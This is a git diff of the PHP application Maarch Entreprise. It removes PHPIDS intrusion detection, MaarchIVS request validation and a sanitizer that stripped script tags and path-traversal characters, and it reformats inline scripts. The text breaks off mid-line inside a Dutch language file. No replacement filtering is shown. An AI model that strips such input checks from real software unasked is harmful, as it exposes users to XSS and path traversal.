diff --git a/apps/maarch_entreprise/class/class_business_app_tools_Abstract.php b/apps/maarch_entreprise/class/class_business_app_tools_Abstract.php index 80932cf88a80d3191cd57d653dc39495491e4b97..6b8a253a5d96aa1c50b77643104e76f936fc481b 100755 --- a/apps/maarch_entreprise/class/class_business_app_tools_Abstract.php +++ b/apps/maarch_entreprise/class/class_business_app_tools_Abstract.php @@ -111,7 +111,6 @@ abstract class business_app_tools_Abstract extends Database $_SESSION['config']['defaultPage'] = (string) $config->defaultPage; $_SESSION['config']['cookietime'] = (string) $config->cookieTime; $_SESSION['config']['userdefaultpassword'] = (string) $config->userdefaultpassword; - $_SESSION['config']['usePHPIDS'] = (string) $config->usePHPIDS; if (isset($config->showfooter)) { $_SESSION['config']['showfooter'] = (string) $config->showfooter; } else { @@ -264,10 +263,6 @@ abstract class business_app_tools_Abstract extends Database } $this->_loadActionsPages(); } - - if ($_SESSION['config']['usePHPIDS'] == 'true') { - $this->_loadPHPIDSExludes(); - } } /** @@ -759,49 +754,4 @@ abstract class business_app_tools_Abstract extends Database } } } - - /** - * Load phpids excludes in session - */ - public function _loadPHPIDSExludes() - { - if (isset($_SESSION['config']['corepath']) - && isset($_SESSION['config']['app_id']) - ) { - $core = new core_tools(); - if (file_exists( - $_SESSION['config']['corepath'] . 'custom' . DIRECTORY_SEPARATOR - . $_SESSION['custom_override_id'] . DIRECTORY_SEPARATOR . 'apps' - . DIRECTORY_SEPARATOR . $_SESSION['config']['app_id'] . DIRECTORY_SEPARATOR - . 'tools' . DIRECTORY_SEPARATOR . 'phpids' . DIRECTORY_SEPARATOR - . 'lib' . DIRECTORY_SEPARATOR . 'IDS' . DIRECTORY_SEPARATOR - . 'maarch_exclude.xml' - ) - ) { - $path = $_SESSION['config']['corepath'] . 'custom' . DIRECTORY_SEPARATOR - . $_SESSION['custom_override_id'] . DIRECTORY_SEPARATOR . 'apps' - . DIRECTORY_SEPARATOR . $_SESSION['config']['app_id'] . DIRECTORY_SEPARATOR - . 'tools' . DIRECTORY_SEPARATOR . 'phpids' . DIRECTORY_SEPARATOR - . 'lib' . DIRECTORY_SEPARATOR . 'IDS' . DIRECTORY_SEPARATOR - . 'maarch_exclude.xml'; - } else { - $path = 'apps' - . DIRECTORY_SEPARATOR . $_SESSION['config']['app_id'] . DIRECTORY_SEPARATOR - . 'tools' . DIRECTORY_SEPARATOR . 'phpids' . DIRECTORY_SEPARATOR - . 'lib' . DIRECTORY_SEPARATOR . 'IDS' . DIRECTORY_SEPARATOR - . 'maarch_exclude.xml'; - } - $xmlfile = simplexml_load_file($path); - $_SESSION['PHPIDS_EXCLUDES'] = array(); - foreach ($xmlfile->exclude as $exclude) { - array_push( - $_SESSION['PHPIDS_EXCLUDES'], - array( - 'TARGET' => (string) $exclude->target, - 'PAGE' => (string) $exclude->page, - ) - ); - } - } - } } diff --git a/apps/maarch_entreprise/index.php b/apps/maarch_entreprise/index.php index 0a7bd891a635e651f6e74a327c607c10f18aa2ff..29ecf654337f32d02f22e2611604bbfece392182 100755 --- a/apps/maarch_entreprise/index.php +++ b/apps/maarch_entreprise/index.php @@ -55,11 +55,6 @@ if (isset($_SESSION['user']['UserId']) include_once '../../core/class/class_functions.php'; include_once '../../core/class/class_db_pdo.php'; include_once '../../core/init.php'; -include 'apps/maarch_entreprise/tools/maarchIVS/MaarchIVS.php'; - -if ($_SESSION['config']['usePHPIDS'] == 'true') { - include 'apps/maarch_entreprise/phpids_control.php'; -} //SET custom path if (isset($_SESSION['config']['corepath'])) { @@ -112,71 +107,6 @@ if (!isset($_SESSION['user']['UserId']) } if (!empty($_REQUEST['page']) && empty($_REQUEST['triggerAngular'])) { - //V1 - $started = MaarchIVS::start(__DIR__ . '/xml/IVS/requests_definitions.xml', 'xml'); - $valid = MaarchIVS::run('silent'); - if (!$valid) { - $validOutpout = MaarchIVS::debug(); - $cptValid = count($validOutpout['validationErrors']); - $error = ''; - for ($cptV=0; $cptV<=$cptValid; $cptV++) { - $message = $validOutpout['validationErrors'][$cptV]->message; - if ($message == "Length id below the minimal length") { - $message = _IVS_LENGTH_ID_BELOW_MIN_LENGTH; - } elseif ($message == "Length exceeds the maximal length") { - $message = _IVS_LENGTH_EXCEEDS_MAX_LENGTH; - } elseif ($message == "Length is not allowed") { - $message = _IVS_LENGTH_NOT_ALLOWED; - } elseif ($message == "Value is not allowed") { - $message = _IVS_VALUE_NOT_ALLOWED; - } elseif ($message == "Format is not allowed") { - $message = _IVS_FORMAT_NOT_ALLOWED; - } elseif ($message == "Value is below the minimal value") { - $message = _IVS_VALUE_BELOW_MIN_VALUE; - } elseif ($message == "Value exceeds the maximal value") { - $message = _IVS_LENGTH_EXCEEDS_MAX_LENGTH; - } elseif ($message == "Too many digits") { - $message = _IVS_TOO_MANY_DIGITS; - } elseif ($message == "Too many decimal digits") { - $message = _IVS_TOO_MANY_DECIMAL_DIGITS; - } - $error .= $message . PHP_EOL; - $error .= $validOutpout['validationErrors'][$cptV]->parameter . PHP_EOL; - $error .= $validOutpout['validationErrors'][$cptV]->value . PHP_EOL; - } - foreach ($_REQUEST as $name => $value) { - if (is_string($value) && strpos($value, "<") !== false) { - $value = preg_replace('/(<\/?script[^>]*>|<\?php|<\?[\s|\n|\r])/i', "", $value); - $_REQUEST[$name] = $value; - if (isset($_GET[$name]) && $_GET[$name] <> '') { - $_GET[$name] = $value; - } - if (isset($_POST[$name]) && $_POST[$name] <> '') { - $_POST[$name] = $value; - } - } - $value = str_replace("\\", "", $value); - $value = str_replace("/", "", $value); - $value = str_replace("..", "", $value); - $_REQUEST[$name] = $value; - if (isset($_GET[$name]) && $_GET[$name] <> '') { - $_GET[$name] = $value; - } - if (isset($_POST[$name]) && $_POST[$name] <> '') { - $_POST[$name] = $value; - } - } - //process error for ajax request - if (array_key_exists('HTTP_X_REQUESTED_WITH', $_SERVER) - && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest' - ) { - echo $error; - exit; - } else { - //process error for standard request - $_SESSION['error'] = $error; - } - } if (!isset($_SESSION['user']['UserId']) && $_REQUEST['page'] <> 'login' && $_REQUEST['page'] <> 'log' @@ -251,23 +181,21 @@ if (!empty($_REQUEST['page']) && empty($_REQUEST['triggerAngular'])) { //GET COOKIE CLIENT SIDE if (empty($_SESSION['clientSideCookies'])) { ?> - <script type="text/javascript"> - var path_manage_script = '<?php echo $_SESSION["config"]["businessappurl"]; ?>' + 'index.php?display=true&page=setProxyCookies'; - $j.ajax( - { - url: path_manage_script, - type:'POST', - dataType:'json', - data: { - cookies : document.cookie - }, - success: function(answer) - { +<script type="text/javascript"> + var path_manage_script = '<?php echo $_SESSION["config"]["businessappurl"]; ?>' + 'index.php?display=true&page=setProxyCookies'; + $j.ajax({ + url: path_manage_script, + type: 'POST', + dataType: 'json', + data: { + cookies: document.cookie + }, + success: function(answer) { - } - }); - </script> - <?php + } + }); +</script> +<?php } $path = $_SESSION['config']['corepath'] . 'custom/' @@ -297,26 +225,30 @@ if (!empty($_REQUEST['page']) && empty($_REQUEST['triggerAngular'])) { if (isset($_SESSION['error']) && $_SESSION['error'] <> '') { ?> - <script> - var main_error = $j('#main_error_popup'); - if (main_error != null) { - main_error.css({"display":"table-cell"}); - Element.hide.delay(10, 'main_error_popup'); - } - </script> - <?php +<script> + var main_error = $j('#main_error_popup'); + if (main_error != null) { + main_error.css({ + "display": "table-cell" + }); + Element.hide.delay(10, 'main_error_popup'); + } +</script> +<?php } if (isset($_SESSION['info']) && $_SESSION['info'] <> '') { ?> - <script> - var main_info = $j('#main_info'); - if (main_info != null) { - main_info.css({"display":"table-cell"}); - Element.hide.delay(10, 'main_info'); - } - </script> - <?php +<script> + var main_info = $j('#main_info'); + if (main_info != null) { + main_info.css({ + "display": "table-cell" + }); + Element.hide.delay(10, 'main_info'); + } +</script> +<?php } $core->insert_page(); @@ -393,13 +325,13 @@ if (!empty($_REQUEST['page']) && empty($_REQUEST['triggerAngular'])) { </script><?php } elseif (empty($_REQUEST['page'])) { ?> - <script> - var route = '#/home'; - if(localStorage.getItem('PreviousV2Route') != null) { - route = '#' + localStorage.getItem('PreviousV2Route'); - } - triggerAngular(route); - </script> - <?php +<script> + var route = '#/home'; + if (localStorage.getItem('PreviousV2Route') != null) { + route = '#' + localStorage.getItem('PreviousV2Route'); + } + triggerAngular(route); +</script> +<?php } } diff --git a/apps/maarch_entreprise/lang/en.php b/apps/maarch_entreprise/lang/en.php index 14a49de0c9c7acc5a283ec5ae49cf4e4ff4e57b4..df85343e351c0a7c061310181eea005bf9b37fe0 100755 --- a/apps/maarch_entreprise/lang/en.php +++ b/apps/maarch_entreprise/lang/en.php @@ -3729,30 +3729,6 @@ if (!defined('_MAIL_WILL_DISAPPEAR')) { define('_MAIL_WILL_DISAPPEAR', "This mail is out your area. You won't be able to access it then."); } -//maarchIVS translate - -if (!defined('_IVS_LENGTH_ID_BELOW_MIN_LENGTH')) { - define('_IVS_LENGTH_ID_BELOW_MIN_LENGTH', 'the length is inferior than the minimum length'); -} -if (!defined('_IVS_LENGTH_EXCEEDS_MAX_LENGTH')) { - define('_IVS_LENGTH_EXCEEDS_MAX_LENGTH', 'the length is superior to the maximum length'); -} -if (!defined('_IVS_LENGTH_NOT_ALLOWED')) { - define('_IVS_LENGTH_NOT_ALLOWED', 'The lenght is not allowed'); -} -if (!defined('_IVS_VALUE_NOT_ALLOWED')) { - define('_IVS_VALUE_NOT_ALLOWED', 'the value is not allowed'); -} -if (!defined('_IVS_FORMAT_NOT_ALLOWED')) { - define('_IVS_FORMAT_NOT_ALLOWED', 'The format is not allowed'); -} -if (!defined('_IVS_TOO_MANY_DIGITS')) { - define('_IVS_TOO_MANY_DIGITS', 'Too many characters'); -} -if (!defined('_IVS_TOO_MANY_DECIMAL_DIGITS')) { - define('_IVS_TOO_MANY_DECIMAL_DIGITS', 'Too many decimal characters'); -} - //control technical params if (!defined('_COMPONENT')) { define('_COMPONENT', 'Component'); diff --git a/apps/maarch_entreprise/lang/fr.php b/apps/maarch_entreprise/lang/fr.php index c0191cdebdde47a1f22099fbc51b535c06429be0..ddef0aa3f2a21140583d701c32007db1776c197f 100755 --- a/apps/maarch_entreprise/lang/fr.php +++ b/apps/maarch_entreprise/lang/fr.php @@ -3780,30 +3780,6 @@ if (!defined('_MAIL_WILL_DISAPPEAR')) { define('_MAIL_WILL_DISAPPEAR', 'Ce courrier sort de votre périmètre. Vous ne pourrez plus y accéder ensuite.'); } -//maarchIVS translate - -if (!defined('_IVS_LENGTH_ID_BELOW_MIN_LENGTH')) { - define('_IVS_LENGTH_ID_BELOW_MIN_LENGTH', 'La longueur est infèrieure à la longueur minimale'); -} -if (!defined('_IVS_LENGTH_EXCEEDS_MAX_LENGTH')) { - define('_IVS_LENGTH_EXCEEDS_MAX_LENGTH', 'La longueur est supérieure à la longueur maximale'); -} -if (!defined('_IVS_LENGTH_NOT_ALLOWED')) { - define('_IVS_LENGTH_NOT_ALLOWED', "La longueur n'est pas autorisée"); -} -if (!defined('_IVS_VALUE_NOT_ALLOWED')) { - define('_IVS_VALUE_NOT_ALLOWED', "La valeur n'est pas autorisée"); -} -if (!defined('_IVS_FORMAT_NOT_ALLOWED')) { - define('_IVS_FORMAT_NOT_ALLOWED', "Le format n'est pas autorisé"); -} -if (!defined('_IVS_TOO_MANY_DIGITS')) { - define('_IVS_TOO_MANY_DIGITS', 'Trop de caractères'); -} -if (!defined('_IVS_TOO_MANY_DECIMAL_DIGITS')) { - define('_IVS_TOO_MANY_DECIMAL_DIGITS', 'Trop de caractères décimaux'); -} - //control technical params if (!defined('_COMPONENT')) { define('_COMPONENT', 'Composant'); diff --git a/apps/maarch_entreprise/lang/nl.php b/apps/maarch_entreprise/lang/nl.php index b23ae19055d8782316a088037d361cad4db70592..f7767cc3ae74e83b0931d681e1170cad5c5193c5 100755 --- a/apps/maarch_entreprise/lang/nl.php +++ b/apps/maarch_entreprise/lang/nl.php @@ -10,1395 +10,4140 @@ * @author dev <dev@maarch.org> * @ingroup lang */ -if (!defined('_ID_TO_DISPLAY')) { define('_ID_TO_DISPLAY', 'chrono_number');} -if (!defined('_ADDED')) { define('_ADDED', 'toegevoegd');} -if (!defined('_UPDATED')) { define('_UPDATED', 'gewijzigd');} -if (!defined('_DELETED')) { define('_DELETED', 'verwijderd');} -if (!defined('_PLEASE_CHOOSE_AN_ATTACHMENT')) { define('_PLEASE_CHOOSE_AN_ATTACHMENT', 'Voeg een bijlage toe a.u.b.');} -if (!defined('_ADD_ATTACHMENT_TO_SEND_TO_CONTACT')) { define('_ADD_ATTACHMENT_TO_SEND_TO_CONTACT', 'Voeg een bijlage toe vooraleer deze mail naar het contact te verzenden');} -if (!defined('_PROCESSING_MODE')) { define('_PROCESSING_MODE', 'Verwerkingswijze');} -if (!defined('_ADMIN_USERS')) { define('_ADMIN_USERS', 'Gebruikers');} -if (!defined('_ADMIN_GROUPS')) { define('_ADMIN_GROUPS', 'Gebruikersgroepen');} -if (!defined('_VIEW_HISTORY')) { define('_VIEW_HISTORY', 'Geschiedenis');} -if (!defined('_VIEW_HISTORY_BATCH')) { define('_VIEW_HISTORY_BATCH', 'Geschiedenis van de batches');} -if (!defined('_VIEW_HISTORY_BATCH_DESC')) { define('_VIEW_HISTORY_BATCH_DESC', 'De geschiedenis van de batches raadplegen');} -if (!defined('_ADMIN_SERVICE')) { define('_ADMIN_SERVICE', 'Administratiedienst');} -if (!defined('_XML_PARAM_SERVICE_DESC')) { define('_XML_PARAM_SERVICE_DESC', 'Weergave XML-configuratie van de diensten');} -if (!defined('_XML_PARAM_SERVICE')) { define('_XML_PARAM_SERVICE', 'Weergave XML-configuratie van de diensten');} -if (!defined('_MODULES_SERVICES')) { define('_MODULES_SERVICES', 'Diensten bepaald door de modules');} -if (!defined('_APPS_SERVICES')) { define('_APPS_SERVICES', 'Diensten bepaald door de applicatie');} -if (!defined('_ADMIN_STATUS_DESC')) { define('_ADMIN_STATUS_DESC', 'Statussen aanmaken of wijzigen.');} -if (!defined('_NO_RIGHTS_ON')) { define('_NO_RIGHTS_ON', 'Geen recht op');} -if (!defined('_NO_LABEL_FOUND')) { define('_NO_LABEL_FOUND', 'Geen label gevonden voor deze dienst');} -if (!defined('_VERSION_BASE_AND_XML_BASEVERSION_NOT_MATCH')) { define('_VERSION_BASE_AND_XML_BASEVERSION_NOT_MATCH', 'Let op: Het gegevensmodel van Maarch Courrier moet bijgewerkt worden...');} -if (!defined('_MODE')) { define('_MODE', 'Modus');} -if (!defined('_GO_TO_PAGE')) { define('_GO_TO_PAGE', 'Naar pagina');} -if (!defined('_NEXT')) { define('_NEXT', 'Volgende');} -if (!defined('_NEXT_PAGE')) { define('_NEXT_PAGE', 'Volgende');} -if (!defined('_PREVIOUS')) { define('_PREVIOUS', 'Vorige');} -if (!defined('_PREVIOUS_PAGE')) { define('_PREVIOUS_PAGE', 'Vorige');} -if (!defined('_ALPHABETICAL_LIST')) { define('_ALPHABETICAL_LIST', 'Alfabetische lijst');} -if (!defined('_ASC_SORT')) { define('_ASC_SORT', 'Oplopende sortering');} -if (!defined('_DESC_SORT')) { define('_DESC_SORT', 'Aflopende sortering');} -if (!defined('_ACCESS_LIST_STANDARD')) { define('_ACCESS_LIST_STANDARD', 'Weergave van eenvoudige lijsten');} -if (!defined('_ACCESS_LIST_EXTEND')) { define('_ACCESS_LIST_EXTEND', 'Weergave van uitgebreide lijsten');} -if (!defined('_DISPLAY')) { define('_DISPLAY', 'Weergave');} -if (!defined('_NO_RECORD')) { define('_NO_RECORD', 'Geen onderdelen');} -if (!defined('_RECORD')) { define('_RECORD', 'element(en)');} -if (!defined('_DELETE')) { define('_DELETE', 'Verwijderen');} -if (!defined('_ADD')) { define('_ADD', 'Toevoegen');} -if (!defined('_REMOVE')) { define('_REMOVE', 'Verwijderen');} -if (!defined('_MODIFY')) { define('_MODIFY', 'Wijzigen');} -if (!defined('_SUSPEND')) { define('_SUSPEND', 'Opschorten');} -if (!defined('_AUTHORIZE')) { define('_AUTHORIZE', 'Verlenen');} -if (!defined('_CHOOSE')) { define('_CHOOSE', 'Kiezen');} -if (!defined('_SEND')) { define('_SEND', 'Verzenden');} -if (!defined('_SEARCH')) { define('_SEARCH', 'Opzoeken');} -if (!defined('_RESET')) { define('_RESET', 'Resetten');} -if (!defined('_VALIDATE')) { define('_VALIDATE', 'Valideren');} -if (!defined('_CANCEL')) { define('_CANCEL', 'Annuleren');} -if (!defined('_ADDITION')) { define('_ADDITION', 'Toevoeging');} -if (!defined('_MODIFICATION')) { define('_MODIFICATION', 'Aanpassing');} -if (!defined('_DIFFUSION')) { define('_DIFFUSION', 'Delen');} -if (!defined('_DELETION')) { define('_DELETION', 'Verwijderen');} -if (!defined('_SUSPENSION')) { define('_SUSPENSION', 'Opschorten');} -if (!defined('_VALIDATION')) { define('_VALIDATION', 'Validering');} -if (!defined('_REDIRECTION')) { define('_REDIRECTION', 'Doorsturen');} -if (!defined('_REDIRECTION_DESC')) { define('_REDIRECTION_DESC', 'Opent een modaliteit waarmee een nieuwe verwerkende gebruiker gekozen kan worden OF die de verwerkende dienst met een nieuwe distributielijst opnieuw kan instellen.');} -if (!defined('_DUPLICATION')) { define('_DUPLICATION', 'Dupliceren');} -if (!defined('_PROPOSITION')) { define('_PROPOSITION', 'Voorstel');} -if (!defined('_ERR')) { define('_ERR', 'Fout');} -if (!defined('_CLOSE')) { define('_CLOSE', 'Afsluiten');} -if (!defined('_CLOSE_WINDOW')) { define('_CLOSE_WINDOW', 'Het venster sluiten');} -if (!defined('_DIFFUSE')) { define('_DIFFUSE', 'Delen');} -if (!defined('_DOWN')) { define('_DOWN', 'Naar omlaag gaan');} -if (!defined('_UP')) { define('_UP', 'Naar omhoog gaan');} -if (!defined('_REDIRECT')) { define('_REDIRECT', 'Doorsturen');} -if (!defined('_DELETED')) { define('_DELETED', 'Verwijderd');} -if (!defined('_CONTINUE')) { define('_CONTINUE', 'Verder');} -if (!defined('_VIEW')) { define('_VIEW', 'Weergave');} -if (!defined('_CHOOSE_ACTION')) { define('_CHOOSE_ACTION', 'Kies een actie');} -if (!defined('_ACTIONS')) { define('_ACTIONS', 'Actie(s)');} -if (!defined('_ACTION_PAGE')) { define('_ACTION_PAGE', 'Resultaatpagina van de actie');} -if (!defined('_INFOS_ACTIONS')) { define('_INFOS_ACTIONS', 'U moet minstens een status en/of een script kiezen.');} -if (!defined('_SAVE_CONFIRM')) { define('_SAVE_CONFIRM', 'Bevestiging Opslag');} -if (!defined('_SAVED_ALREADY_EXIST')) { define('_SAVED_ALREADY_EXIST', 'Reeds bestaande opslag');} -if (!defined('_OK_FOR_CONFIRM')) { define('_OK_FOR_CONFIRM', 'Wilt u de opslag bevestigen?');} -if (!defined('_ID')) { define('_ID', 'Gebruikersnaam');} -if (!defined('_PASSWORD')) { define('_PASSWORD', 'Wachtwoord');} -if (!defined('_GROUP')) { define('_GROUP', 'Groep');} -if (!defined('_USER')) { define('_USER', 'Gebruiker');} -if (!defined('_SENDER')) { define('_SENDER', 'Afzender');} -if (!defined('_DESC')) { define('_DESC', 'Beschrijving');} -if (!defined('_LASTNAME')) { define('_LASTNAME', 'Naam');} -if (!defined('_THE_LASTNAME')) { define('_THE_LASTNAME', 'De naam');} -if (!defined('_THE_FIRSTNAME')) { define('_THE_FIRSTNAME', 'De voornaam');} -if (!defined('_THE_ID')) { define('_THE_ID', 'De gebruikersnaam');} -if (!defined('_FIRSTNAME')) { define('_FIRSTNAME', 'Voornaam');} -if (!defined('_INITIALS')) { define('_INITIALS', 'Initialen');} -if (!defined('_STATUS')) { define('_STATUS', 'Status');} -if (!defined('_DEPARTMENT')) { define('_DEPARTMENT', 'Afdeling');} -if (!defined('_FUNCTION')) { define('_FUNCTION', 'Functie');} -if (!defined('_NUMBER')) { define('_NUMBER', 'Nummer');} -if (!defined('_PHONE_NUMBER')) { define('_PHONE_NUMBER', 'Telefoonnummer');} -if (!defined('_MAIL')) { define('_MAIL', 'Brief');} -if (!defined('_EMAIL')) { define('_EMAIL', 'E-mail');} -if (!defined('_DOCTYPE')) { define('_DOCTYPE', 'Documenttype');} -if (!defined('_DOCTYPES_MAIL')) { define('_DOCTYPES_MAIL', 'Brieftype(s)');} -if (!defined('_TYPE')) { define('_TYPE', 'Type');} -if (!defined('_URL')) { define('_URL', 'URL');} -if (!defined('_NO_REPLACEMENT')) { define('_NO_REPLACEMENT', 'GEEN VERVANGING');} -if (!defined('_SELECT_ALL')) { define('_SELECT_ALL', 'Alles selecteren');} -if (!defined('_DATE')) { define('_DATE', 'Datum');} -if (!defined('_ACTION')) { define('_ACTION', 'Actie');} -if (!defined('_COMMENTS')) { define('_COMMENTS', 'Opmerkingen');} -if (!defined('_ENABLED')) { define('_ENABLED', 'Toegang');} -if (!defined('_DISABLED')) { define('_DISABLED', 'Opgeschort');} -if (!defined('_NOT_ENABLED')) { define('_NOT_ENABLED', 'Opgeschort');} -if (!defined('_RECIPIENT')) { define('_RECIPIENT', 'Ontvanger');} -if (!defined('_START')) { define('_START', 'Start');} -if (!defined('_END')) { define('_END', 'Einde');} -if (!defined('_NOT_VALID')) { define('_NOT_VALID', 'ongeldig');} -if (!defined('_KEYWORD')) { define('_KEYWORD', 'Sleutelwoord');} -if (!defined('_NO_KEYWORD')) { define('_NO_KEYWORD', 'Geen sleutelwoord');} -if (!defined('_INDEXING')) { define('_INDEXING', 'Indexering');} -if (!defined('_QUALIFY')) { define('_QUALIFY', 'Kwalificatie');} -if (!defined('_REALLY_SUSPEND')) { define('_REALLY_SUSPEND', 'Wilt u echt opschorten');} -if (!defined('_REALLY_AUTHORIZE')) { define('_REALLY_AUTHORIZE', 'Wilt u echt toelaten');} -if (!defined('_REALLY_DELETE')) { define('_REALLY_DELETE', 'Wilt u echt verwijderen');} -if (!defined('_REALLY_CONTINUE')) { define('_REALLY_CONTINUE', 'Wilt u echt verdergaan');} -if (!defined('_DEFINITIVE_ACTION')) { define('_DEFINITIVE_ACTION', 'Deze actie is definitief');} -if (!defined('_AND')) { define('_AND', 'en');} -if (!defined('_YES')) { define('_YES', 'Ja');} -if (!defined('_NO')) { define('_NO', 'Nee');} -if (!defined('_UNKNOWN')) { define('_UNKNOWN', 'Onbekend');} -if (!defined('_SINCE')) { define('_SINCE', 'Sinds');} -if (!defined('_FOR')) { define('_FOR', 'Tot');} -if (!defined('_HELLO')) { define('_HELLO', 'Hallo');} -if (!defined('_OBJECT')) { define('_OBJECT', 'Onderwerp');} -if (!defined('_BACK')) { define('_BACK', 'Terug');} -if (!defined('_FORMAT')) { define('_FORMAT', 'Indeling');} -if (!defined('_SIZE')) { define('_SIZE', 'Grootte');} -if (!defined('_DOC')) { define('_DOC', 'Document');} -if (!defined('_THE_DOC')) { define('_THE_DOC', 'Het document');} -if (!defined('_BYTES')) { define('_BYTES', 'bytes');} -if (!defined('_OR')) { define('_OR', 'of');} -if (!defined('_NOT_AVAILABLE')) { define('_NOT_AVAILABLE', 'Niet beschikbaar');} -if (!defined('_SELECTION')) { define('_SELECTION', 'Selectie');} -if (!defined('_AND')) { define('_AND', 'en');} -if (!defined('_FILE')) { define('_FILE', 'Bestand');} -if (!defined('_UNTIL')) { define('_UNTIL', 'op');} -if (!defined('_ALL')) { define('_ALL', 'Alle');} -if (!defined('_SECOND')) { define('_SECOND', 'seconde');} -if (!defined('_SECONDS')) { define('_SECONDS', 'seconden');} -if (!defined('_PAGE_GENERATED_IN')) { define('_PAGE_GENERATED_IN', 'Pagina aangemaakt in');} -if (!defined('_IS_EMPTY')) { define('_IS_EMPTY', 'is leeg');} -if (!defined('_MUST_MAKE_AT_LEAST')) { define('_MUST_MAKE_AT_LEAST', 'moet minstens bevatten');} -if (!defined('_CHARACTER')) { define('_CHARACTER', ' teken');} -if (!defined('_CHARACTERS')) { define('_CHARACTERS', ' tekens');} -if (!defined('MUST_BE_LESS_THAN')) { define('MUST_BE_LESS_THAN', 'moet kleiner zijn dan');} -if (!defined('_WRONG_FORMAT')) { define('_WRONG_FORMAT', 'heeft het verkeerde formaat');} -if (!defined('_WELCOME')) { define('_WELCOME', 'Welkom bij Maarch Courrier !');} -if (!defined('_WELCOME_TITLE')) { define('_WELCOME_TITLE', 'Homepage');} -if (!defined('_HELP')) { define('_HELP', 'Hulp');} -if (!defined('_SEARCH_ADV_SHORT')) { define('_SEARCH_ADV_SHORT', 'Geavanceerd zoeken');} -if (!defined('_SEARCH_SCOPE')) { define('_SEARCH_SCOPE', 'Draagwijdte van de opzoeking');} -if (!defined('_SEARCH_SCOPE_HELP')) { define('_SEARCH_SCOPE_HELP', 'Breidt de zoektocht uit naar de bakjes; laat de acties toe als er een bepaald bakje geselecteerd wordt');} -if (!defined('_RESULTS')) { define('_RESULTS', 'Resulta(a)t(en)');} -if (!defined('_USERS_LIST_SHORT')) { define('_USERS_LIST_SHORT', 'Gebruikerslijst');} -if (!defined('_MODELS_LIST_SHORT')) { define('_MODELS_LIST_SHORT', 'Modellenlijst');} -if (!defined('_GROUPS_LIST_SHORT')) { define('_GROUPS_LIST_SHORT', 'Groepenlijst');} -if (!defined('_DEPARTMENTS_LIST_SHORT')) { define('_DEPARTMENTS_LIST_SHORT', 'Dienstenlijst');} -if (!defined('_BITMASK')) { define('_BITMASK', 'Bitmask instelling');} -if (!defined('_DOCTYPES_LIST_SHORT')) { define('_DOCTYPES_LIST_SHORT', 'Lijst van types');} -if (!defined('_BAD_MONTH_FORMAT')) { define('_BAD_MONTH_FORMAT', 'Maand onjuist');} -if (!defined('_BAD_DAY_FORMAT')) { define('_BAD_DAY_FORMAT', 'Dag onjuist');} -if (!defined('_BAD_YEAR_FORMAT')) { define('_BAD_YEAR_FORMAT', 'Jaar onjuist');} -if (!defined('_BAD_FEBRUARY')) { define('_BAD_FEBRUARY', 'De maand februari mag maximum 29 dagen tellen');} -if (!defined('_CHAPTER_SHORT')) { define('_CHAPTER_SHORT', 'Hfst');} -if (!defined('_PROCESS_SHORT')) { define('_PROCESS_SHORT', 'Verwerking');} -if (!defined('_CARD')) { define('_CARD', 'Fiche');} -if (!defined('_LOGIN')) { define('_LOGIN', 'Aanmelden');} -if (!defined('_RELOGIN')) { define('_RELOGIN', 'Nieuwe verbinding');} -if (!defined('_RA_CODE')) { define('_RA_CODE', 'Bijkomende toegangscode');} -if (!defined('_LOGO_ALT')) { define('_LOGO_ALT', 'Terug naar homepage');} -if (!defined('_LOGOUT')) { define('_LOGOUT', 'Afmelden');} -if (!defined('_MENU')) { define('_MENU', 'Menu');} -if (!defined('_SUMMARY')) { define('_SUMMARY', 'Inhoudsopgave');} -if (!defined('_MANAGE_REL_MODEL')) { define('_MANAGE_REL_MODEL', 'Het herinneringsmodel beheren');} -if (!defined('_MANAGE_DOCTYPES')) { define('_MANAGE_DOCTYPES', 'De documenttypes beheren');} -if (!defined('_MANAGE_DOCTYPES_DESC')) { define('_MANAGE_DOCTYPES_DESC', 'De documenttypes beheren. De documenttypes zijn gekoppeld aan een documentenverzameling. Voor elk type kunt u de in te voeren indexen bepalen evenals deze die verplicht zijn.');} -if (!defined('_VIEW_HISTORY2')) { define('_VIEW_HISTORY2', 'Weergave van de geschiedenis');} -if (!defined('_VIEW_HISTORY_BATCH2')) { define('_VIEW_HISTORY_BATCH2', 'Weergave van de geschiedenis van de batches');} -if (!defined('_WORDING')) { define('_WORDING', 'Omschrijving');} -if (!defined('_COLLECTION')) { define('_COLLECTION', 'Verzameling');} -if (!defined('_GROUPS_LIST')) { define('_GROUPS_LIST', 'Groepslijst');} -if (!defined('_ADMIN_GROUP')) { define('_ADMIN_GROUP', 'Beheergroep');} -if (!defined('_ADD_GROUP')) { define('_ADD_GROUP', 'Groep toevoegen');} -if (!defined('_ALL_GROUPS')) { define('_ALL_GROUPS', 'Alle groepen');} -if (!defined('_GROUPS')) { define('_GROUPS', 'groepen');} -if (!defined('_GROUP_ADDITION')) { define('_GROUP_ADDITION', 'Toevoeging van een groep');} -if (!defined('_GROUP_MODIFICATION')) { define('_GROUP_MODIFICATION', 'Wijziging van een groep');} -if (!defined('_SEE_GROUP_MEMBERS')) { define('_SEE_GROUP_MEMBERS', 'De gebruikerslijst van deze groep bekijken');} -if (!defined('_SEE_DOCSERVERS_')) { define('_SEE_DOCSERVERS_', 'De docserverslijst van dit type bekijken');} -if (!defined('_SEE_DOCSERVERS_LOCATION')) { define('_SEE_DOCSERVERS_LOCATION', 'De docserverslijst van deze locatie bekijken');} -if (!defined('_OTHER_RIGHTS')) { define('_OTHER_RIGHTS', 'Andere rechten');} -if (!defined('_MODIFY_GROUP')) { define('_MODIFY_GROUP', 'De wijzigingen aanvaarden');} -if (!defined('_THE_GROUP')) { define('_THE_GROUP', 'De groep');} -if (!defined('_HAS_NO_SECURITY')) { define('_HAS_NO_SECURITY', 'heeft geen gedefinieerde beveiliging');} -if (!defined('_DEFINE_A_GRANT')) { define('_DEFINE_A_GRANT', 'Definieer minstens een toegang');} -if (!defined('_MANAGE_RIGHTS')) { define('_MANAGE_RIGHTS', 'Deze groep heeft toegang tot de volgende assets');} -if (!defined('_TABLE')) { define('_TABLE', 'Tabel');} -if (!defined('_WHERE_CLAUSE')) { define('_WHERE_CLAUSE', 'WHERE clause');} -if (!defined('_INSERT')) { define('_INSERT', 'Invoeging');} -if (!defined('_UPDATE')) { define('_UPDATE', 'Bijwerken');} -if (!defined('_REMOVE_ACCESS')) { define('_REMOVE_ACCESS', 'Toegang verwijderen');} -if (!defined('_MODIFY_ACCESS')) { define('_MODIFY_ACCESS', 'Toegang wijzigen');} -if (!defined('_UPDATE_RIGHTS')) { define('_UPDATE_RIGHTS', 'Rechten bijwerken');} -if 